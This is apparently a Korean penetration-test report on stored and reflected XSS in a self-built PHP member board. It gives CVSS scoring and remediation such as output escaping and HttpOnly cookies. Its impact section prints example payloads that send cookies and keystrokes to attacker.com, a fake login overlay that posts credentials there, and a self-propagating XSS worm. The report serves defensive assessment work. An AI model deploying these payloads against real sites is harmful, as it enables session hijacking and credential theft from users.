[VAPT Report] 사용자 입력값 검증 미흡에 따른 Cross-Site Scripting(XSS) 취약점 분석
1. Executive Summary
본 보고서는 자체 개발한 PHP 기반 회원 게시판 시스템에 대한 취약점 진단 결과를 담고 있습니다. 진단 결과, 사용자 입력값에 대한 검증 및 필터링 부재로 인해 Stored XSS(저장형 크로스 사이트 스크립팅) 취약점이 발견되었습니다.
주요 발견사항
- 취약점 유형: Stored XSS (CWE-79)
- 위험도: HIGH
- CVSS v3.1 Score: 7.1 (High)
- 영향받는 기능: 게시판 글쓰기, 게시글 목록 조회, 게시글 상세 조회
- 발견 일자: 2026-01-15
2. 취약점 상세 분석
2.1 취약점 개요
Stored XSS(저장형 XSS)는 공격자가 악성 스크립트를 서버에 저장한 후, 다른 사용자가 해당 페이지를 조회할 때 스크립트가 실행되는 취약점입니다.
본 시스템에서는 게시글 작성 시 사용자 입력값(제목, 내용)을 검증 없이 데이터베이스에 저장하고, 출력 시에도 이스케이핑 처리 없이 그대로 렌더링하여 악성 스크립트 실행이 가능한 상태입니다.
2.2 취약점 발견 위치
| 위치 | 취약 파라미터 | 공격 벡터 |
|---|---|---|
| 게시글 제목 | title | Stored XSS |
| 게시글 내용 | content | Stored XSS |
| 검색 기능 | search | Reflected XSS |
3. Proof of Concept (PoC)
3.1 Stored XSS - 게시글 내용
공격 시나리오: 악성 스크립트가 포함된 게시글을 작성하여 다른 사용자의 쿠키 정보 탈취
Step 1: 악성 페이로드 삽입
게시글 작성 페이지에서 다음 페이로드를 내용에 입력:
1
<script>alert(document.cookie)</script>
Step 2: 스크립트 실행 확인
게시글 상세 페이지(member_view.php) 접근 시 자동으로 스크립트 실행:
Figure 2: 페이지 로드 시 alert 창 실행 확인
실행 결과:
- 페이지 로드 시 즉시 JavaScript 실행
- 세션 쿠키 정보가 alert 창에 노출됨
PHPSESSID=7kffpla9jqpqudcbtcb1ul2som확인
3.2 Stored XSS - 게시글 제목
게시글 제목에서도 동일한 취약점 확인:
1
<script>alert('document.cookie')</script>
Figure 2: 회원 게시판 페이지 로드 시 alert 창 실행 확인
3.3 Reflected XSS - 검색 기능
검색 파라미터에 악성 스크립트 삽입:
1
http://192.168.56.104/logintest/member_list.php?search=<script>alert(document.cookie)</script>
Figure 4: 검색 기능을 통한 Reflected XSS
4. 영향도 분석 (Impact Assessment)
4.1 위험도 평가
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
| 항목 | 값 | 설명 |
|---|---|---|
| Attack Vector (AV) | Network (N) | 네트워크를 통한 원격 공격 가능 |
| Attack Complexity (AC) | Low (L) | 공격 난이도 낮음 |
| Privileges Required (PR) | Low (L) | 일반 사용자 권한으로 공격 가능 |
| User Interaction (UI) | Required (R) | 피해자의 페이지 접속 필요 |
| Scope (S) | Changed (C) | 다른 사용자에게 영향 |
| Confidentiality (C) | High (H) | 세션 정보 등 민감 정보 탈취 |
| Integrity (I) | Low (L) | 페이지 변조 가능 |
| Availability (A) | None (N) | 가용성에는 영향 없음 |
최종 점수: 7.1 (HIGH)
4.2 예상 공격 시나리오
시나리오 1: 세션 하이재킹 (Session Hijacking)
1
2
3
4
5
// 공격 코드 예시
<script>
var cookie = document.cookie;
fetch('http://attacker.com/steal?data=' + encodeURIComponent(cookie));
</script>
공격 흐름:
- 공격자가 악성 스크립트가 포함된 게시글 작성
- 피해자가 게시글 목록 또는 상세 페이지 접속
- 스크립트 자동 실행되어 피해자의 세션 쿠키를 공격자 서버로 전송
- 공격자는 탈취한 세션 쿠키를 이용해 피해자 계정으로 로그인
피해 범위:
- 피해자 계정 무단 접근
- 개인정보 열람 및 유출
- 피해자 권한으로 악의적 행위 수행
시나리오 2: 키로깅 (Keylogging)
1
2
3
4
5
6
<script>
document.addEventListener('keypress', function(e) {
var key = String.fromCharCode(e.which);
new Image().src = 'http://attacker.com/log?key=' + key;
});
</script>
피해:
- 사용자가 입력하는 모든 정보 실시간 탈취
- 비밀번호 변경 시도 시 새 비밀번호 유출
- 작성 중인 게시글 내용 등 민감 정보 노출
시나리오 3: 피싱 공격 (Phishing)
1
2
3
4
5
6
7
8
9
10
11
12
<script>
document.body.innerHTML = `
<div style="position:fixed; top:0; left:0; width:100%; height:100%;
background:white; z-index:9999; padding:50px;">
<h2>세션이 만료되었습니다. 다시 로그인해주세요.</h2>
<form action="http://attacker.com/phishing.php" method="POST">
아이디: <input type="text" name="id"><br>
비밀번호: <input type="password" name="pw"><br>
<button>로그인</button>
</form>
</div>`;
</script>
피해:
- 정상 사이트로 위장한 가짜 로그인 페이지 표시
- 사용자 계정 정보 직접 탈취
- 높은 성공률 (사용자는 정상 사이트에서 로그인하는 것으로 인식)
시나리오 4: 웜 형태 전파 (Self-Propagating XSS Worm)
1
2
3
4
5
6
7
8
<script>
// 현재 사용자의 권한으로 동일한 악성 게시글 자동 작성
fetch('member_insert.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'title=공지사항&content=<script>/* 악성코드 */</script>'
});
</script>
피해:
- 감염된 사용자가 자동으로 추가 악성 게시글 생성
- 웜(Worm)처럼 기하급수적으로 확산
- 전체 게시판이 악성 스크립트로 오염
4.3 비즈니스 영향도
| 영향 영역 | 심각도 | 설명 |
|---|---|---|
| 사용자 개인정보 | 상 | 세션 쿠키, 입력 정보 등 탈취 가능 |
| 서비스 신뢰도 | 상 | 보안 사고 발생 시 서비스 신뢰도 급락 |
| 법적 책임 | 중 | 개인정보보호법 위반 가능성 |
| 운영 비용 | 중 | 사고 대응 및 복구 비용 발생 |
5. 보안 대책 (Remediation)
2026 주요정보통신기반시설 기술적 취약점 분석·평가방법 상세가이드 참조: 크로스사이트 스크립트(XS)
5.1 출력 시 HTML 이스케이핑 (필수)
사용자 입력값을 HTML 엔티티로 변환
1
2
3
4
5
6
7
// Before (취약)
echo $row['title'];
echo $row['content'];
// After (안전)
echo htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8');
적용 대상:
member_list.php: 게시글 목록 출력member_view.php: 게시글 상세 출력- 검색 결과 페이지
5.2 입력값 검증 및 필터링
입력 데이터 검증 및 표현
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// member_insert.php 수정
$title = $_POST['title'];
$content = $_POST['content'];
// 1. 허용 태그만 남기고 제거
$allowed_tags = '<p><br><strong><em><u>';
$title = strip_tags($title, $allowed_tags);
$content = strip_tags($content, $allowed_tags);
// 2. 위험 패턴 제거
$title = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $title);
$title = preg_replace('/on\w+\s*=\s*["\'][^"\']*["\']/i', '', $title);
// 3. 길이 제한
$title = mb_substr($title, 0, 100, 'UTF-8');
$content = mb_substr($content, 0, 5000, 'UTF-8');
5.3 세션 쿠키 보안 설정
중요정보 평문전송 방지
1
2
3
4
5
6
7
8
9
<?php
session_start();
// HttpOnly 설정: JavaScript로 쿠키 접근 차단
ini_set('session.cookie_httponly', 1);
// Secure 설정: HTTPS에서만 쿠키 전송
ini_set('session.cookie_secure', 1);
?>
5.4 조치사항 우선순위
| 우선순위 | 조치사항 | 난이도 | 예상 소요시간 |
|---|---|---|---|
| Critical | HTML 이스케이핑 적용 | 하 | 1시간 |
| Critical | 입력값 필터링 | 중 | 2시간 |
| High | 세션 쿠키 보안 설정 | 하 | 15분 |
6. 참고 자료 (References)
6.1 취약점 정보
- CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
- https://cwe.mitre.org/data/definitions/79.html
- OWASP Top 10 2025: A05:2025 - Injection
- https://owasp.org/Top10/2025/A05_2025-Injection/
- OWASP XSS Prevention Cheat Sheet
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
6.2 주요정보통신기반시설 기술적 취약점 분석·평가 방법 상세가이드
- 행정안전부·한국인터넷진흥원 (2026)
- 관련 항목:
- 크로스사이트 스크립트 (XS)
- 데이터 평문 전송 (SN)
6.3 보안 코딩 가이드
- 소프트웨어 개발 보안 가이드 (한국인터넷진흥원)
- OWASP Secure Coding Practices
- https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/
7. 결론 (Conclusion)
본 취약점 진단을 통해 회원 게시판 시스템에서 HIGH 등급의 Stored XSS 취약점을 발견하였습니다. 해당 취약점은 사용자 입력값에 대한 검증 및 출력 이스케이핑 부재로 발생하였으며, 세션 하이재킹, 피싱 공격 등 심각한 보안 위협으로 이어질 수 있습니다.
권고사항:
- 즉시 조치: HTML 이스케이핑 및 입력 필터링 적용 (예상 소요시간: 3시간)
- 단기 조치: 세션 쿠키 보안 설정 (예상 소요시간: 15분)
위 조치사항을 우선순위에 따라 적용하여 XSS 취약점을 해결할 것을 권고합니다.
Report Information
- 작성자: z1N
- 작성일: 2026-01-15
- 문서버전: 1.0
- 보안등급: 내부용 (Internal Use Only)


